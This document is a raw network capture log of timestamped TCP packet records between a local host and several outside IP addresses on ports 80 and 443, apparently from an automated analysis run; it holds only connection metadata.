Dec 6, 2023 14:33:19.884681940 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:19.884699106 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:19.917150021 CET	80	49727	104.21.90.147	192.168.2.5
Dec 6, 2023 14:33:19.917306900 CET	49727	80	192.168.2.5	104.21.90.147
Dec 6, 2023 14:33:19.917646885 CET	49727	80	192.168.2.5	104.21.90.147
Dec 6, 2023 14:33:19.930111885 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:20.011934996 CET	80	49727	104.21.90.147	192.168.2.5
Dec 6, 2023 14:33:20.060614109 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:20.062113047 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:20.062167883 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:20.063476086 CET	49722	443	192.168.2.5	172.253.115.84
Dec 6, 2023 14:33:20.063486099 CET	443	49722	172.253.115.84	192.168.2.5
Dec 6, 2023 14:33:20.100925922 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:20.101279974 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:20.101351976 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:20.101758957 CET	49721	443	192.168.2.5	142.251.111.100
Dec 6, 2023 14:33:20.101777077 CET	443	49721	142.251.111.100	192.168.2.5
Dec 6, 2023 14:33:20.640255928 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:20.640362978 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:20.640446901 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:20.642514944 CET	49724	443	192.168.2.5	172.67.213.153
Dec 6, 2023 14:33:20.642532110 CET	443	49724	172.67.213.153	192.168.2.5
Dec 6, 2023 14:33:20.771269083 CET	80	49727	104.21.90.147	192.168.2.5
Dec 6, 2023 14:33:20.771294117 CET	80	49727	104.21.90.147	192.168.2.5
Dec 6, 2023 14:33:20.771377087 CET	49727	80	192.168.2.5	104.21.90.147
Dec 6, 2023 14:33:20.779341936 CET	49729	80	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:20.874042988 CET	80	49729	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:20.874238014 CET	49729	80	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:20.874691963 CET	49729	80	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:20.969091892 CET	80	49729	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:21.014807940 CET	80	49729	172.67.198.151	192.168.2.5
Dec 6, 2023 14:33:21.058023930 CET	49729	80	192.168.2.5	172.67.198.151
Dec 6, 2023 14:33:21.124104977 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.308533907 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.308660030 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.309020042 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.496537924 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.496566057 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.496650934 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.497165918 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681030035 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681092024 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681126118 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681145906 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681145906 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681193113 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681229115 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681272030 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681303978 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681341887 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681348085 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681385994 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681437969 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681476116 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681509018 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681551933 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681586981 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681626081 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.681660891 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.681699038 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.864860058 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.864911079 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.864928007 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.864950895 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.864967108 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865014076 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865077019 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865115881 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865119934 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865173101 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865191936 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865238905 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865247011 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865299940 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865303993 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865350962 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865360975 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865413904 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865417004 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865468025 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865473032 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865509987 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865515947 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865560055 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865582943 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865622044 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865633011 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865664959 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865715027 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865767002 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865776062 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865864992 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865879059 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865910053 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.865920067 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.865978956 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.866019011 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.866061926 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:21.866066933 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:21.866112947 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049365997 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049473047 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049489021 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049644947 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049767971 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049767971 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049774885 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049851894 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049943924 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.049972057 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049972057 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.049993992 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050019026 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050065994 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050076008 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050117970 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050586939 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050623894 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050643921 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050667048 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050683022 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050753117 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050781965 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050798893 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050802946 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050853968 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.050853968 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.050901890 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051193953 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051250935 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051301003 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051347971 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051373005 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051425934 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051429033 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051482916 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051796913 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051856041 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051856041 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051901102 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051908016 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051944971 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051950932 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.051984072 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.051989079 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052068949 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052078009 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052107096 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052114010 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052145958 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052154064 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052187920 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052623034 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052660942 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052671909 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052701950 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052716970 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.052742004 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052762985 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052802086 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.052993059 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053041935 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053042889 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053091049 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053097010 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053141117 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053150892 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053189039 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053194046 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053227901 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053232908 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053265095 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053271055 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053303003 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053312063 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053339958 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053348064 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053376913 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.053404093 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.053423882 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.237761974 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.237868071 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.237886906 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.237983942 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.237984896 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238023043 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238034964 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238061905 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238071918 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238101006 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238111973 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238141060 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238148928 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238181114 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238226891 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238255024 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238260031 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238296986 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238316059 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238349915 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238460064 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238514900 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238528967 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238565922 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238575935 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238615036 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238634109 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238672972 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238689899 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238723040 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238740921 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238780975 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238787889 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238826036 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238850117 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238899946 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.238948107 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.238995075 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239017010 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239053965 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239065886 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239097118 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239124060 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239161015 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239171982 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239228010 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239260912 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239299059 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239311934 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239336967 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239345074 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239377022 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239406109 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239444971 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239450932 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239489079 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239512920 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239552021 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239563942 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239593983 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239622116 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239660025 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239667892 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239706039 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239759922 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239809990 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239857912 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239895105 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.239906073 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239945889 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.239999056 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240036011 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240047932 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240078926 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240104914 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240155935 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240325928 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240376949 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240425110 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240474939 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240525961 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240572929 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240623951 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240675926 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240694046 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240735054 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240792990 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240830898 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240842104 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240868092 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240871906 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240919113 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.240936995 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.240981102 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241038084 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241086006 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241106033 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241153955 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241173983 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241216898 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241333961 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241369963 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241384983 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241415024 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241492987 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241544008 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241561890 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241609097 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241631031 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241669893 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241678953 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241717100 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241739988 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241786957 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241810083 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241847038 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241854906 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241894007 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241918087 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241955042 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.241985083 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.241995096 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242053986 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242098093 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242122889 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242166042 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242234945 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242270947 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242281914 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242315054 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242342949 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242387056 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242410898 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242463112 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242477894 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242523909 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242547035 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242589951 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242615938 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242669106 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242686033 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242722988 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242733002 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242772102 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242822886 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242861986 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.242872953 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242907047 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.242963076 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243014097 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.243031979 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243068933 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243078947 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.243114948 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.243168116 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243206024 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243217945 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.243248940 CET	49730	80	192.168.2.5	159.223.29.40
Dec 6, 2023 14:33:22.243275881 CET	80	49730	159.223.29.40	192.168.2.5
Dec 6, 2023 14:33:22.243320942 CET	49730	80	192.168.2.5	159.223.29.40
